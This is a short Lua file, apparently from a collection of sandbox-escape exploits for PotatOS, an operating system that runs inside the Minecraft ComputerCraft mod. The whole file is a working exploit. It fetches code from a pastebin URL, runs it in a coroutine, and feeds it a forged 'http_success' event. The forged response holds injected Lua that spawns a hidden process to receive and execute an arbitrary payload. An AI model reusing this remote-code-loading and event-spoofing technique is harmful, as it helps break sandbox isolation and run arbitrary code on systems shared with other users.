PotatOS-Sandbox-Exploits/old/2DAA86DC/exploit-1.lua

36 lines
1002 B
Lua

-- PS#2DAA86DC (I think?)
local handle = http.get("https://pastebin.com/raw/9DV5d4Yv")
local code = handle.readAll()
handle.close()
local x = coroutine.create(function()
load(code, "PPPL")
end)
local ppl = [=[
term.clear()
term.setCursorPos(1,1)
coroutine.resume(coroutine.create(function()
process.spawn(function()
local _, payload = coroutine.yield"PAYLOAD"
return (loadstring(payload, "potatopayload"))() -- use tailcall??
end, "potatopayload", {ephemeral = true})
end))
]=]
process.spawn(function()
coroutine.resume(x, "timer", 0) -- Maybe I should've just used blank events here
coroutine.resume(x, "timer", 0)
coroutine.resume(
x,
"http_success",
"https://pastebin.com/raw/v63NQem2",
{readAll = function() return ppl end, close = function() end}
)
-- Once it's loaded, start forwarding events
while true do
coroutine.resume(x, coroutine.yield())
end
end, "pplr")